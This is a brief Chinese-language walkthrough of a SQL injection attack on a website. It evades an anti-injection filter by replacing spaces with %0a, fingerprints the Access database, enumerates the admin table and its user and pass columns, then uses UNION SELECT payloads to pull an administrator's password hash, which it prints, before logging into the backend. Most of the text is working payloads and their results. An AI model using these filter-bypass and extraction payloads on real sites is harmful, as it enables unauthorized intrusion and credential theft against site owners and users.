SQL繞過實例
簡單判斷是否存在註入
發現有防註入系統,在網站地址後加入“-0”和“/”進行測試
明顯存在SQL註入。
post提交無法繞過
在Post data中輸入and 1=1 和and 1=2,勾選“Enable Post data”,單擊“Execute”進行測試,如圖所示,結果無任何變化,說明直接post提交無法繞過。
使用%09(也就是tab鍵)可以繞過,經過測試還是不行,如圖所示,用%0a(換行符)替換下空格成功繞過
通過and (select count(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出錯信息來判斷網站采用的數據庫類型。若數據庫是SQL-SERVE,則第一條,網頁一定運行正常,第二條則異常;若是ACCESS則兩條都會異常。在POST中通過依次提交:
and%0a(select%0acount(*)%0afrom%0asysobjects)>0
and%0a(select%0acount(*)%0afrom%0amsysobjects)>0
其結果顯示“目前還沒有內容!”實際內容應該是id=1158的內容,兩條語句執行的結果均為異常,說明為access數據庫。
通過order by判斷列名
判斷是否存在admin表
and (select count(*) from admin)>0
and%0a(select%0acount(*)%0afrom%0aadmin)>0
判斷是否存在user以及pass字段
and %0a (select%0acount(user) %0afrom%0aadmin)>0
and%0a (select%0acount(pass) %0afrom%0aadmin)>0
獲取管理員密碼
id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,獲取admin-dh用戶的密碼“5ed9ff1d48e059b50db232f497b35b45”
id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,獲取id為1的用戶密碼
登錄後臺
SQL繞過實例